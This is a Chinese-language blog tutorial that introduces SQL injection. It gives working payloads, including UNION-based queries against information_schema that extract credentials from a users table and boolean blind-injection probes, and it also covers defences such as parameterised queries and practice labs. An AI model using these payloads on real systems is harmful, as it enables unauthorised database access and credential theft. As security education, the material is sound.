SQL注入-入门需了解项目

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档


什么是SQL?

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。


提示:以下是本篇文章正文内容,下面文章可供参考

一、SQL注入

1.什么是SQL注入

所谓SQL注入,就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2.SQL注入漏洞的原理是什么?

WEB应用程序中,动态网页很多都是需要与后台的数据库进行交互的,由网站内部直接发送的Sql请求一般不会有危险,但实际情况中,很多时候需要结合用户的输入数据来动态构造 Sql 语句。所以如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会造成SQL注入漏洞。

3.SQL注入漏洞产生的基本前提

有参数传递
参数值会带入数据库中进行操作

4.SQL注入的漏洞危害

攻击者可以通过该漏洞来查询数据库中的敏感信息,进行脱裤操作。 绕过验证,例如绕过验证登陆网站后台。 万能密码
会被删库、改库,甚至通过漏洞获取数据库服务器shell
在某些条件下,攻击者甚至可以通过注入漏洞,借助数据库的存储过程进行提权等操作。mysql >>> root
SQL注入分类

二、SQL注入思路

  1. 判断是否存在注入,注入是字符型还是数字型,目标数据库类型是什么。
  2. 猜解SQL查询语句中的字段数
  3. 确定回显位置
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 得到数据

1.字符型示例

代码如下(示例):

判断是否存在注入点:
输入单引号,返回mysql的报错。

判断注入类型:
1’ and 1=1# 返回正常
1’ and 1=2# 返回不正常
表示是字符型注入。

判断目标数据库类型:
从前面的报错信息可以判断目标是MySQL
使用nmap扫描目标服务器。“nmap –sS –sV xx.xx.xx.xx”

一般情况下,如果目标服务器的数据库可直接外部访问,那么就可以扫描到对应的数据库类型。
如果不可以直接外部访问,可以根据web服务器的软件来猜测。
比如上图扫描出Apache,那么就可能是MySQL,如果扫描出IIS,那么就可能是SQL Server

3. 从目标网站的编程语言类型PHP可判断,该数据库类型可能是MySQL。
4. 如果编程语言是ASP或.Net,数据库就可能是Microsoft SQL Server;
5. 如果编程语言是Java,那么数据库就可能是Oracle/MySQL。


猜解字段数:
1’ order by 1/2/3/…#

ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序,
使用数字是直接用字段所在的位置来代替字段名。

确定目标 查询了2列。

确定回显位置:
union select 1,2

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

2.特殊数据库

MySQL 5.0以上版本存在比较特殊的数据库–INFORMATION_SCHEMA ,如数据库名,数据库的表,表栏的数据类型与访问权限等其中保存着关于MySQL服务器所维护的所有其他数据库的信息。而5.0以下的版本没有。

其中重要的三个表:SCHEMATA;TABLES;COLUMNS。

SCHEMATA 储存mysql所有数据库的基本信息,包括数据库名(SCHEMA_NAME),编码类型路径等

TABLES
储存mysql中的表信息,包括这个表是基本表还是系统表,引擎是什么,表有多少行,创建时间,最后更新时间等。(数据库名TABLE_SCHEMA,表名TABLE_NAME)

COLUMNS
储存mysql中表的列信息,包括这个表的所有列(COLUMN_NAME)以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

查询数据库代码如下(示例):

查询当前数据库版本:
1union select version(),database()#



查询数据库中的表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

该处使用的url网络请求的数据。

3.获取表中数据

获取表中的字段名:
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#

获取表中的用户名、密码:
1’ union select user, password from users#


三、SQL注入-布尔型盲注

1.盲注常用函数

返回字符串的长度:length()
截取字符串: mid();left();right();substr();substring()
ascii编码:ord();ascii();
ascii码转字符:char()
挂起程序:sleep(n)
判断语句:if(expr1,expr2,expr3) 如果第一个语句正确就执行第二个语句,如果错误就执行第三个语句

2.测试(根据实际情况加以修改)

1、测试注入点:1’ or 1=1# 如果是GET方式注入,需要进行url编码

2、 length判断数据库长度:id=1’ and length(database())=4–+
3、mid(str,start,count)截取字符串:id=1’ and mid((database()),1,1)=‘d’–+
4、猜测表名总长度:id=1’ and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=15–+
5、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)))>=100–+
6、通过二分法,依次测试,得到第一个字符的ascii值为103,对应字母g
7、表名第一个字母:id=1’ and (select ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),2,1)))=117–+
其ascii值对应字母为u
剩余流程就根据实际情况、需要调试

四、SQL注入漏洞防御

  1. 限制用户的输入,比如前端限制选择,后端限制英文、数字等常规字符(缺点:可能存在特殊情况)
  2. 特殊字符/关键字的过滤、转义(缺点:特殊字符众多,可能会有漏掉的)
  3. 把参数传到存储过程进行处理。(缺点:并不是所有数据库都支持存储过程,如果存储过程中所执行的语句也是拼接得来,依然可能存在漏洞)
  4. 参数化查询,在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成SQL指令的编译后,才套用参数运行,因此就算参数中含有指令,也不会被数据库运行。Access、SQL Server、MySQL、SQLite等常用数据库都支持参数化查询。(当前公认的效果最好的SQL注入防御手段)
  5. PDO技术(PHP Data Object,缺点:只适用于PHP。可用于PHP中的参数化查询)
  6. magic_quotes_gpc()函数(缺点:依然存在被绕过的可能,且只是PHP的函数)
  7. 安装WAF(Web Application Firewall)(缺点:可能被绕过。比如当参数为数字型的时候,且未经过Intval()函数的处理)
  8. mysql_real_escape_string()

总结

虽然很多人说用工具注入sql是没有灵魂的,但架不住好用呀:现在常用的SQL注入工具有HackBar、SQLMap、Pangolin、Havij、Safe3 SQL injector及超级SQL注入工具等。
sql注入常用靶场:
SQLI-LABS
php5: https://github.com/Audi-1/sqli-labs
php7: https://github.com/skyblueee/sqli-labs-php7

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值